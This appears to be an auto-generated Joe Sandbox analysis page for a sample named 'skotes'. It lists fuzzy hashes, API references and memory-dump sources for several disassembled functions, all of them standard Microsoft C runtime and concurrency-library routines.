Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: bdd84739757f02e7b76ef8f6af62d0b5b719f8cc60382e1501388ae8600f3ba8
Instruction ID: 2e0b29a2cf10d9c1d25e504509d43c2cab80f0a72ba400517349ab8fff31d956
Opcode Fuzzy Hash: bdd84739757f02e7b76ef8f6af62d0b5b719f8cc60382e1501388ae8600f3ba8
Instruction Fuzzy Hash: B321AC34620205AFCB14EFA8C892EAD77A5BF49350F004069E5069B692DB71EA21CF91

Function 002BB975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMON

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 002BBA0E

Strings

RoUninitialize, xrefs: 002BB9C1
RoInitialize, xrefs: 002BB998
combase.dll, xrefs: 002BB983, 002BB988, 002BB99D, 002BB9C8

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: 741aeb9867e7eb42d555fda0eee6ba11390c68949daa2de392c8d0ae5548f3da
Instruction ID: 6e7ba951dcdbdffd52539388886d4bb1a2596f580aee3980f76a5397523b9339
Opcode Fuzzy Hash: 741aeb9867e7eb42d555fda0eee6ba11390c68949daa2de392c8d0ae5548f3da
Instruction Fuzzy Hash: 8D0145708B576659F712FBB29D09BFB318C9F0239CF611C39B140E2080EFB5D8208AA1

Function 002B6E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 002B6E73

Part of subcall function 002B4E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 002B4E7F
Part of subcall function 002B4E6E: List.LIBCMT ref: 002B4E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 002B6E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 002B6EAA

Strings

eventObject, xrefs: 002B6E7D

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: b0c46868916acb72778e617cc1613b430bf93073d4e73fd2763ca31ec9addf76
Instruction ID: c908d9e8f8206e4d34a3ae6eb07699901e85c6ce246f8c27a6ffe56213770b97
Opcode Fuzzy Hash: b0c46868916acb72778e617cc1613b430bf93073d4e73fd2763ca31ec9addf76
Instruction Fuzzy Hash: BE112575961205A7DB24EBA4CD8AFFF72A86F01344F604524B104A60D1DBB4EA24CB71

Function 002BA0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 002BA102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 002BA126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 002BA139

Strings

pScheduler, xrefs: 002BA131

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 6c2d80dfead41a8545331e556a78040557e988d379605c24c3897e2910a1469c
Instruction ID: 4c8a2473695577c92001aa23db2e5d455d51a676a49c48f84fd85cbc82ffb47a
Opcode Fuzzy Hash: 6c2d80dfead41a8545331e556a78040557e988d379605c24c3897e2910a1469c
Instruction Fuzzy Hash: 9DF0B475970204A7C761EA58D883CDEF3799E81794B60C129E50957181DF70AA26CE92

Function 002D67A9 Relevance: 6.2, APIs: 4, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 002D6902
__alloca_probe_16.LIBCMT ref: 002D6998
__freea.LIBCMT ref: 002D6A03
__freea.LIBCMT ref: 002D6A0F

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID:
API String ID: 1635606685-0
Opcode ID: 669084d9884657693a93518bebd72d249975b5109636a07e84447789f4b90ef0
Instruction ID: f0ddb8e5ca29ff33fee5b400add2e2eb8fc959bf79b8e2266d195deeffcf8805
Opcode Fuzzy Hash: 669084d9884657693a93518bebd72d249975b5109636a07e84447789f4b90ef0
Instruction Fuzzy Hash: C981D272D2025A9BDF219EA48859EEE7BB9DF09314F29415BE840F7381D735CC24DBA0

Function 002C504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 002C5115
___AdjustPointer.LIBCMT ref: 002C5138
___AdjustPointer.LIBCMT ref: 002C51D4

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
